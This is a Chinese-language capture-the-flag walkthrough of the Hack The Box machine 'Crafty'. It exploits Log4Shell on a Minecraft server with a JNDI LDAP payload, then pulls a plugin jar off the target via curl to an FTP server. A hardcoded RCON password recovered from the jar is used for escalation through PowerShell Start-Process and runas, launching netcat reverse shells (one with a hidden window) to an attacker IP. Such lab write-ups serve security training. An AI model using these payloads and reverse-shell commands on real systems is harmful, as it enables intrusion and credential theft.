Main
$ sudo nmap -p- -sS -T4 10.10.11.249
发现25565端口是我的世界服务器端口
- CVE-2021-44228:
https://nodecraft.com/blog/service-updates/minecraft-java-edition-security-vulnerability - 在阿帕奇Log4j图书馆,广泛使用的记录框架,在Java应用程序。 这个漏洞,也称为Log4Shell,允许攻击者执行恶意代码的远程通过利用一个缺陷在图书馆的JNDI(Java命名和目录口)查询机制。
# echo "10.10.11.249 crafty.htb">>/etc/hosts
修改本地hosts文件解析地址
$ git clone https://github.com/kozmer/log4j-shell-poc
$ cd log4j-shell-poc
# vim log4j-shell-poc
修改/bin/bash为cmd.exe
(log4j-shell-poc)$ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
下载java环境,在log4j-shell-poc目录中
(log4j-shell-poc)$ tar -zxf jdk-8u181-linux-x64.tar.gz
(log4j-shell-poc)$ mv jdk1.8.0_181 jdk1.8.0_20
下载我的世界启动器 https://tlauncher.org/jar
$ wget -O TLauncher-2.899.zip https://tlauncher.org/jar
$ unzip TLauncher-2.899.zip
$ java -jar TLauncher-2.899.jar
选择版本1.16.5进行下载
选择多人游戏
手动添加服务器或者等待一会也能扫出来
$ python3 poc.py --userip 10.10.16.23 --webport 8200 --lport 10032
$ nc -lvnp 10032
进入游戏中,按t输入payload
${jndi:ldap://10.10.16.23:1389/a}
User Flag
>dir C:\Users\svc_minecraft\Desktop
>type C:\Users\svc_minecraft\Desktop\user.txt
fa3ee28076b9040712a643b7f1c0b67e
Root Flag
发现一个jar包,plugins/playercounter-1.0-SNAPSHOT.jar包
很明显我们不能在IIS默认目录下写文件,也就意味着这个jar包只能用其他方式下载
>curl
可以看到有curl命令,我们使用curl+ftp进行文件上传与下载
在kali中创建临时的FTP服务
$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21
- 本主机文件上传至FTP服务器
$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.23/
- 从FTP服务器将文件下载至本主机
$ curl -O -u martin:martin ftp://10.10.16.23/file.txt
接下来将plugins/playercounter-1.0-SNAPSHOT.jar上传至kali主机
> curl -T c:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -u martin:martin ftp://10.10.16.23/
$ sudo apt install jd-gui
下载jd-gui分析jar包
$ jd-gui
启动
这是一个统计玩家在线的插件程序,在这段程序中,s67u84zKq8IXw 是用于 RCON(远程控制)连接的密码。RCON 是一种远程服务器控制协议,通常用于管理游戏服务器,特别是 Minecraft 服务器。
在 Minecraft 服务器中启用 RCON 后,需要提供一个密码以允许远程管理服务器。这个密码是在 Minecraft 服务器的配置文件中设置的。当你使用 Rcon 连接到服务器时,需要提供这个密码来验证你的身份,以便执行管理操作,例如发送命令给服务器。
Tools
-
WinPEAS:WinPEAS 脚本会自动收集系统信息,并执行一系列检查,以查找常见的安全漏洞和潜在的特权升级路径。它可以检查诸如文件权限、服务配置、定时任务、安装程序和服务等方面的问题,并生成详细的报告,帮助用户识别潜在的安全威胁和漏洞(https://github.com/peass-ng/PEASS-ng/releases/tag/20240414-ed0a5fac)
-
Seatbelt:Seatbelt是一款由 SpecterOps 开发的用于 Windows 主机安全审计和特权升级的工具。它旨在帮助渗透测试人员、红队成员和安全研究人员识别和利用 Windows 系统上的潜在安全漏洞和特权升级路径。(https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)
-
jaws-enum:jaws-enum 脚本使用 PowerShell 编写,通过执行一系列 PowerShell 命令和技巧来收集信息和检查系统配置。它能够在 Windows 主机上运行,并且可以作为渗透测试、红队行动和安全审计中的一部分来帮助用户识别潜在的安全风险和漏洞。(https://github.com/411Hall/JAWS)
Manually elevate privileges using local credentials
>cmdkey /list
- 列出当前计算机上存储的凭据信息。凭据信息通常是用户登录凭据、网络共享凭据等,可以用于自动登录网络共享、远程服务器等场景
这种命令就必须要看管理员是否有密码了
>runas /env /noprofile /savecred /user:JUGG-efrost\administrator "cmd.exe /c whoami > whoami.txt"
将里面换成反向shell命令即可
>runas /env /noprofile /savecred /user:administrator ".\nc64.exe 192.168.8.107 10033 -e cmd.exe"
我们可以很清楚看到有一个反向shell的cmd命令窗口,这样容易被人为关闭进程,我们可以通过powershell来隐藏窗口
runas /env /noprofile /savecred /user:administrator "powershell.exe -w hidden -c .\nc64.exe 192.168.8.107 10033 -e cmd.exe"
由于这些都是只能在GUI界面进行提权,得考虑如何从反向shell界面进行提权
所以采用powershell-ep绕过从我们目前的shell
> $secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
> $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)
> Start-Process -FilePath powershell.exe -argumentlist ".\nc64.exe 10.10.16.23 10032 -e cmd.exe" -Credential $mycreds
逐步分析
- s67u84zKq8IXw被(AsPlainText)指定为明文将作为安全字符串保存,并且忽略安全问题(安全字符串(SecureString)是一种在 PowerShell 中用于存储敏感信息的数据类型。与普通字符串不同,安全字符串以加密方式存储在内存中,并且在使用完毕后会立即被清除,以增强数据的安全性)
- System.Management.Automation.PSCredential使用指定的用户名和密码创建一个凭据对象 $mycreds,以便在 PowerShell 脚本中使用该凭据对象来执行需要认证的操作,比如远程连接、启动进程等。
- Start-Process使用 PowerShell 启动一个新的进程,以执行 powershell.exe 命令,并传递了参数 -argumentlist 来指定要执行的命令。具体来说,命令是 .\nc64.exe 10.10.16.23 10032 -e cmd.exe
回到题目中
在kali先将反向shell的powershell脚本保存至临时ftp目录
$ vim reverse.ps1
$ python3 -m pyftpdlib -w -u martin -P martin -p 21
切换到临时目录,并且进行文件下载
> cd ..\AppData\Local\Temp
> curl -O -u martin:martin ftp://10.10.16.23/reverse.ps1
我们将当前终端进入powershell
ps> $secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
ps> $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)
ps> Start-Process -FilePath powershell.exe -argumentlist ".\reverse.ps1" -Credential $mycreds
成功提权
499d7b2f787007256ecb549acaa96c25
彩蛋
没事干做了一个八段数码管
整体思路用命令方块填充坐标,在写入数据缓冲区中控制了每一个段的地址.
用户将数据写入数据缓冲区时,会二次将数据近些写入数据缓存区,让数码管点亮,在清除缓冲区中主要起到一个清除标志位的作用,用来擦除两个数据缓冲区的内容